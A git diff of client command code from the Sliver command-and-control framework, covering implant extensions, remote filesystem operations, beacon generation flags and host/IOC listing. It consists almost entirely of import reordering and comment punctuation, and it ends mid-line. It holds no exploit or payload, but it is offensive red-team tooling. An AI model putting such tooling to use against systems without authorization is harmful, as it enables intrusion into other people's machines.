@@ -24,14 +24,13 @@ import ( "path/filepath" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/util" + "github.com/spf13/cobra" ) -// ExtensionsInstallCmd - Install an extension +// ExtensionsInstallCmd - Install an extension. func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { extLocalPath := args[0] @@ -47,7 +46,7 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args [] } } -// Install an extension from a directory +// Install an extension from a directory. func installFromDir(extLocalPath string, con *console.SliverClient) { manifestData, err := os.ReadFile(filepath.Join(extLocalPath, ManifestFileName)) if err != nil { @@ -98,7 +97,7 @@ func installFromDir(extLocalPath string, con *console.SliverClient) { } } -// InstallFromFilePath - Install an extension from a .tar.gz file +// InstallFromFilePath - Install an extension from a .tar.gz file. func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverClient) *string { manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName)) if err != nil { diff --git a/client/command/extensions/list.go b/client/command/extensions/list.go index 6733e15779..52de4a9760 100644 --- a/client/command/extensions/list.go +++ b/client/command/extensions/list.go @@ -21,13 +21,12 @@ package extensions import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// ExtensionsListCmd - List all extension loaded on the active session/beacon +// ExtensionsListCmd - List all extension loaded on the active session/beacon. func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/extensions/load.go b/client/command/extensions/load.go index f794cea1a7..b70d8f76d2 100644 --- a/client/command/extensions/load.go +++ b/client/command/extensions/load.go @@ -30,12 +30,6 @@ import ( "strconv" "strings" - appConsole "github.com/reeflective/console" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" @@ -44,12 +38,17 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" + appConsole "github.com/reeflective/console" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "google.golang.org/protobuf/proto" ) const ( defaultTimeout = 60 - // ManifestFileName - Extension manifest file name + // ManifestFileName - Extension manifest file name. ManifestFileName = "extension.json" ) @@ -105,7 +104,7 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta return filePath, nil } -// ExtensionLoadCmd - Load extension command +// ExtensionLoadCmd - Load extension command. func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { dirPath := args[0] // dirPath := ctx.Args.String("dir-path") @@ -123,7 +122,7 @@ func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []stri con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help) } -// LoadExtensionManifest - Parse extension files +// LoadExtensionManifest - Parse extension files. func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) { data, err := os.ReadFile(manifestPath) if err != nil { @@ -138,7 +137,7 @@ func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) { return extManifest, nil } -// ParseExtensionManifest - Parse extension manifest from buffer +// ParseExtensionManifest - Parse extension manifest from buffer. func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) { extManifest := &ExtensionManifest{} err := json.Unmarshal(data, &extManifest) @@ -174,7 +173,7 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) { return extManifest, nil } -// ExtensionRegisterCommand - Register a new extension command +// ExtensionRegisterCommand - Register a new extension command. func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverClient) { if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil { con.PrintErrorf(errInvalidArgs.Error()) @@ -388,7 +387,7 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } } -// PrintExtOutput - Print the ext execution output +// PrintExtOutput - Print the ext execution output. func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverClient) { if extName == commandName { con.PrintInfof("Successfully executed %s", extName) @@ -509,7 +508,7 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *Extensio return extensionArgs, nil } -// CmdExists - checks if a command exists +// CmdExists - checks if a command exists. func CmdExists(name string, cmd *cobra.Command) bool { for _, c := range cmd.Commands() { if name == c.Name() { diff --git a/client/command/extensions/remove.go b/client/command/extensions/remove.go index f2c19c18cd..d64dc15334 100644 --- a/client/command/extensions/remove.go +++ b/client/command/extensions/remove.go @@ -25,14 +25,13 @@ import ( "path/filepath" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/util" + "github.com/spf13/cobra" ) -// ExtensionsRemoveCmd - Remove an extension +// ExtensionsRemoveCmd - Remove an extension. func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name := args[0] if name == "" { @@ -54,7 +53,7 @@ func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []s } } -// RemoveExtensionByCommandName - Remove an extension by command name +// RemoveExtensionByCommandName - Remove an extension by command name. func RemoveExtensionByCommandName(commandName string, con *console.SliverClient) error { if commandName == "" { return errors.New("command name is required") diff --git a/client/command/filesystem/cat.go b/client/command/filesystem/cat.go index aacb93b471..7226f13977 100644 --- a/client/command/filesystem/cat.go +++ b/client/command/filesystem/cat.go @@ -27,17 +27,16 @@ import ( "github.com/alecthomas/chroma/formatters" "github.com/alecthomas/chroma/lexers" "github.com/alecthomas/chroma/styles" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util/encoders" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// CatCmd - Display the contents of a remote file +// CatCmd - Display the contents of a remote file. func CatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -80,7 +79,7 @@ func CatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintCat - Print the download to stdout +// PrintCat - Print the download to stdout. func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverClient) { var ( lootDownload bool = true diff --git a/client/command/filesystem/cd.go b/client/command/filesystem/cd.go index 325a45a659..58f2bc2c39 100644 --- a/client/command/filesystem/cd.go +++ b/client/command/filesystem/cd.go @@ -21,16 +21,14 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// CdCmd - Change directory on the remote system +// CdCmd - Change directory on the remote system. func CdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { diff --git a/client/command/filesystem/chmod.go b/client/command/filesystem/chmod.go index 01439b7c44..5485bb08f2 100644 --- a/client/command/filesystem/chmod.go +++ b/client/command/filesystem/chmod.go @@ -20,16 +20,14 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// ChmodCmd - Change the permissions of a file on the remote file system +// ChmodCmd - Change the permissions of a file on the remote file system. func ChmodCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -77,7 +75,7 @@ func ChmodCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintChmod - Print the chmod response +// PrintChmod - Print the chmod response. func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverClient) { if chmod.Response != nil && chmod.Response.Err != "" { con.PrintErrorf("%s\n", chmod.Response.Err) diff --git a/client/command/filesystem/chown.go b/client/command/filesystem/chown.go index b9282fc8f3..5ea6d199cb 100644 --- a/client/command/filesystem/chown.go +++ b/client/command/filesystem/chown.go @@ -20,16 +20,14 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// ChownCmd - Change the owner of a file on the remote file system +// ChownCmd - Change the owner of a file on the remote file system. func ChownCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -85,7 +83,7 @@ func ChownCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintChown - Print the chown response +// PrintChown - Print the chown response. func PrintChown(chown *sliverpb.Chown, con *console.SliverClient) { if chown.Response != nil && chown.Response.Err != "" { con.PrintErrorf("%s\n", chown.Response.Err) diff --git a/client/command/filesystem/chtimes.go b/client/command/filesystem/chtimes.go index 1535387111..2cf75b0dcb 100644 --- a/client/command/filesystem/chtimes.go +++ b/client/command/filesystem/chtimes.go @@ -21,16 +21,14 @@ import ( "context" "time" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// ChtimesCmd - Change the access and modified time of a file on the remote file system +// ChtimesCmd - Change the access and modified time of a file on the remote file system. func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -98,7 +96,7 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintChtimes - Print the Chtimes response +// PrintChtimes - Print the Chtimes response. func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverClient) { if chtimes.Response != nil && chtimes.Response.Err != "" { con.PrintErrorf("%s\n", chtimes.Response.Err) diff --git a/client/command/filesystem/commands.go b/client/command/filesystem/commands.go index d0b8c85775..caa8f8c9c7 100644 --- a/client/command/filesystem/commands.go +++ b/client/command/filesystem/commands.go @@ -1,15 +1,14 @@ package filesystem import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/filesystem/cp.go b/client/command/filesystem/cp.go index 9231806d9a..3f9724f1a0 100644 --- a/client/command/filesystem/cp.go +++ b/client/command/filesystem/cp.go @@ -21,13 +21,11 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) func CpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err error) { diff --git a/client/command/filesystem/download.go b/client/command/filesystem/download.go index 512332585f..5cf74140e4 100644 --- a/client/command/filesystem/download.go +++ b/client/command/filesystem/download.go @@ -28,15 +28,14 @@ import ( "strings" "time" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "gopkg.in/AlecAivazis/survey.v1" - "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util/encoders" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "gopkg.in/AlecAivazis/survey.v1" ) func DownloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/filesystem/ls.go b/client/command/filesystem/ls.go index b779dbe5af..84480548b8 100644 --- a/client/command/filesystem/ls.go +++ b/client/command/filesystem/ls.go @@ -27,18 +27,16 @@ import ( "text/tabwriter" "time" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "google.golang.org/protobuf/proto" ) -// LsCmd - List the contents of a remote directory +// LsCmd - List the contents of a remote directory. func LsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -75,7 +73,7 @@ func LsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintLs - Display an sliverpb.Ls object +// PrintLs - Display an sliverpb.Ls object. func PrintLs(ls *sliverpb.Ls, flags *pflag.FlagSet, con *console.SliverClient) { if ls.Response != nil && ls.Response.Err != "" { con.PrintErrorf("%s\n", ls.Response.Err) diff --git a/client/command/filesystem/memfiles-add.go b/client/command/filesystem/memfiles-add.go index 073d260702..dfed97a4bb 100644 --- a/client/command/filesystem/memfiles-add.go +++ b/client/command/filesystem/memfiles-add.go @@ -20,15 +20,14 @@ package filesystem import ( "context" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// MemfilesAddCmd - Add memfile +// MemfilesAddCmd - Add memfile. func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -57,7 +56,7 @@ func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string } } -// PrintAddMemfile - Print the memfiles response +// PrintAddMemfile - Print the memfiles response. func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverClient) { if memfilesAdd.Response != nil && memfilesAdd.Response.Err != "" { con.PrintErrorf("%s\n", memfilesAdd.Response.Err) diff --git a/client/command/filesystem/memfiles-list.go b/client/command/filesystem/memfiles-list.go index e8e9f661c1..a4bb45d8bc 100644 --- a/client/command/filesystem/memfiles-list.go +++ b/client/command/filesystem/memfiles-list.go @@ -25,16 +25,15 @@ import ( "text/tabwriter" "time" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// MemfilesListCmd - List memfiles +// MemfilesListCmd - List memfiles. func MemfilesListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -63,7 +62,7 @@ func MemfilesListCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } } -// PrintMemfiles - Display an sliverpb.Ls object +// PrintMemfiles - Display an sliverpb.Ls object. func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverClient) { if ls.Response != nil && ls.Response.Err != "" { con.PrintErrorf("%s\n", ls.Response.Err) diff --git a/client/command/filesystem/memfiles-rm.go b/client/command/filesystem/memfiles-rm.go index 697e9205c6..9c90b46354 100644 --- a/client/command/filesystem/memfiles-rm.go +++ b/client/command/filesystem/memfiles-rm.go @@ -21,15 +21,14 @@ import ( "context" "strconv" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// MemfilesRmCmd - Remove a memfile +// MemfilesRmCmd - Remove a memfile. func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -67,7 +66,7 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } } -// PrintRmMemfile - Remove a memfile +// PrintRmMemfile - Remove a memfile. func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverClient) { if memfilesList.Response != nil && memfilesList.Response.Err != "" { con.PrintErrorf("%s\n", memfilesList.Response.Err) diff --git a/client/command/filesystem/mkdir.go b/client/command/filesystem/mkdir.go index ae0427767a..0699fe1ff5 100644 --- a/client/command/filesystem/mkdir.go +++ b/client/command/filesystem/mkdir.go @@ -21,16 +21,14 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// MkdirCmd - Make a remote directory +// MkdirCmd - Make a remote directory. func MkdirCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -68,7 +66,7 @@ func MkdirCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintMkdir - Print make directory +// PrintMkdir - Print make directory. func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverClient) { if mkdir.Response != nil && mkdir.Response.Err != "" { con.PrintErrorf("%s\n", mkdir.Response.Err) diff --git a/client/command/filesystem/mv.go b/client/command/filesystem/mv.go index 784a9ec7aa..9e0b46e874 100644 --- a/client/command/filesystem/mv.go +++ b/client/command/filesystem/mv.go @@ -21,13 +21,11 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) func MvCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err error) { @@ -77,7 +75,7 @@ func MvCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err er return } -// PrintMv - Print the renamed file +// PrintMv - Print the renamed file. func PrintMv(mv *sliverpb.Mv, con *console.SliverClient) { if mv.Response != nil && mv.Response.Err != "" { con.PrintErrorf("%s\n", mv.Response.Err) diff --git a/client/command/filesystem/pwd.go b/client/command/filesystem/pwd.go index 01b0981561..5ed2b019b9 100644 --- a/client/command/filesystem/pwd.go +++ b/client/command/filesystem/pwd.go @@ -21,16 +21,14 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// PwdCmd - Print the remote working directory +// PwdCmd - Print the remote working directory. func PwdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -58,7 +56,7 @@ func PwdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintPwd - Print the remote working directory +// PrintPwd - Print the remote working directory. func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverClient) { if pwd.Response != nil && pwd.Response.Err != "" { con.PrintErrorf("%s\n", pwd.Response.Err) diff --git a/client/command/filesystem/rm.go b/client/command/filesystem/rm.go index e954b7b50f..7701c5a840 100644 --- a/client/command/filesystem/rm.go +++ b/client/command/filesystem/rm.go @@ -21,16 +21,14 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// RmCmd - Remove a directory from the remote file system +// RmCmd - Remove a directory from the remote file system. func RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -73,7 +71,7 @@ func RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintRm - Print the rm response +// PrintRm - Print the rm response. func PrintRm(rm *sliverpb.Rm, con *console.SliverClient) { if rm.Response != nil && rm.Response.Err != "" { con.PrintErrorf("%s\n", rm.Response.Err) diff --git a/client/command/filesystem/upload.go b/client/command/filesystem/upload.go index 63ef374ab5..86daef51bc 100644 --- a/client/command/filesystem/upload.go +++ b/client/command/filesystem/upload.go @@ -25,17 +25,15 @@ import ( "os" "path/filepath" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util/encoders" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// UploadCmd - Upload a file to the remote system +// UploadCmd - Upload a file to the remote system. func UploadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -110,7 +108,7 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintUpload - Print the result of the upload command +// PrintUpload - Print the result of the upload command. func PrintUpload(upload *sliverpb.Upload, con *console.SliverClient) { if upload.Response != nil && upload.Response.Err != "" { con.PrintErrorf("%s\n", upload.Response.Err) diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go index 1580a87923..83e54fabd9 100644 --- a/client/command/generate/commands.go +++ b/client/command/generate/commands.go @@ -26,15 +26,6 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - preRun := func(_ *cobra.Command, _ []string) error { - con.Teamclient.Connect() - return nil - } - comps := carapace.Gen(generateCmd) - comps.PreRun(func(cmd *cobra.Command, args []string) { - preRun(cmd, args) - }) - // Session flags and completions. coreImplantFlags("session", generateCmd) compileImplantFlags("session", generateCmd) @@ -52,6 +43,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { // Beacon flags and completions. coreImplantFlags("beacon", generateBeaconCmd) compileImplantFlags("beacon", generateBeaconCmd) + coreBeaconFlags("beacon", generateBeaconCmd) coreImplantFlagCompletions(generateBeaconCmd, con) generateCmd.AddCommand(generateBeaconCmd) @@ -210,6 +202,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { // Beacon flags and completions. coreImplantFlags("beacon", profilesNewBeaconCmd) compileImplantFlags("beacon", profilesNewBeaconCmd) + coreBeaconFlags("beacon", profilesNewBeaconCmd) coreImplantFlagCompletions(profilesNewBeaconCmd, con) profilesRmCmd := &cobra.Command{ diff --git a/client/command/hosts/commands.go b/client/command/hosts/commands.go index dcb7f97b6a..49f1906872 100644 --- a/client/command/hosts/commands.go +++ b/client/command/hosts/commands.go @@ -1,13 +1,12 @@ package hosts import ( - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/hosts/hosts-ioc-rm.go b/client/command/hosts/hosts-ioc-rm.go index f75ec4ec6e..f009e3ee92 100644 --- a/client/command/hosts/hosts-ioc-rm.go +++ b/client/command/hosts/hosts-ioc-rm.go @@ -21,12 +21,11 @@ package hosts import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) -// HostsIOCRmCmd - Remove a host from the database +// HostsIOCRmCmd - Remove a host from the database. func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { host, err := SelectHost(con) if err != nil { diff --git a/client/command/hosts/hosts-ioc.go b/client/command/hosts/hosts-ioc.go index 2fa469eee2..4bc5657899 100644 --- a/client/command/hosts/hosts-ioc.go +++ b/client/command/hosts/hosts-ioc.go @@ -26,14 +26,13 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// HostsIOCCmd - Remove a host from the database +// HostsIOCCmd - Remove a host from the database. func HostsIOCCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { host, err := SelectHost(con) if err != nil { diff --git a/client/command/hosts/hosts-rm.go b/client/command/hosts/hosts-rm.go index f0b4aca451..77a052f93c 100644 --- a/client/command/hosts/hosts-rm.go +++ b/client/command/hosts/hosts-rm.go @@ -21,12 +21,11 @@ package hosts import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) -// HostsRmCmd - Remove a host from the database +// HostsRmCmd - Remove a host from the database. func HostsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { host, err := SelectHost(con) if err != nil { diff --git a/client/command/hosts/hosts.go b/client/command/hosts/hosts.go index ab81194921..c694bc1d61 100644 --- a/client/command/hosts/hosts.go +++ b/client/command/hosts/hosts.go @@ -29,24 +29,22 @@ import ( "time" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) var ( - // ErrNoHosts - No hosts in database + // ErrNoHosts - No hosts in database. ErrNoHosts = errors.New("no hosts") - // ErrNoSelection - No selection made + // ErrNoSelection - No selection made. ErrNoSelection = errors.New("no selection") ) -// HostsCmd - Main hosts command +// HostsCmd - Main hosts command. func HostsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{}) if err != nil { @@ -126,7 +124,7 @@ func hostBeacons(hostUUID string, con *console.SliverClient) string { } } -// SessionsForHost - Find session for a given host by id +// SessionsForHost - Find session for a given host by id. func SessionsForHost(hostUUID string, con *console.SliverClient) []*clientpb.Session { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { @@ -141,7 +139,7 @@ func SessionsForHost(hostUUID string, con *console.SliverClient) []*clientpb.Ses return hostSessions } -// SelectHost - Interactively select a host from the database +// SelectHost - Interactively select a host from the database. func SelectHost(con *console.SliverClient) (*clientpb.Host, error) { allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{}) if err != nil { diff --git a/client/command/info/commands.go b/client/command/info/commands.go index c33aef06d1..98f919dd28 100644 --- a/client/command/info/commands.go +++ b/client/command/info/commands.go @@ -1,15 +1,14 @@ package info import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/info/info.go b/client/command/info/info.go index 468e84fb71..6910370fd4 100644 --- a/client/command/info/info.go +++ b/client/command/info/info.go @@ -22,17 +22,16 @@ import ( "context" "time" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// InfoCmd - Display information about the active session +// InfoCmd - Display information about the active session. func InfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error @@ -110,7 +109,7 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PIDCmd - Get the active session's PID +// PIDCmd - Get the active session's PID. func PIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -123,7 +122,7 @@ func PIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// UIDCmd - Get the active session's UID +// UIDCmd - Get the active session's UID. func UIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && 